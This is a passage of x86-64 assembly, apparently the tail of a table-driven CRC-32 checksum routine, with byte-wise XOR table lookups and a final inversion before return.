xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret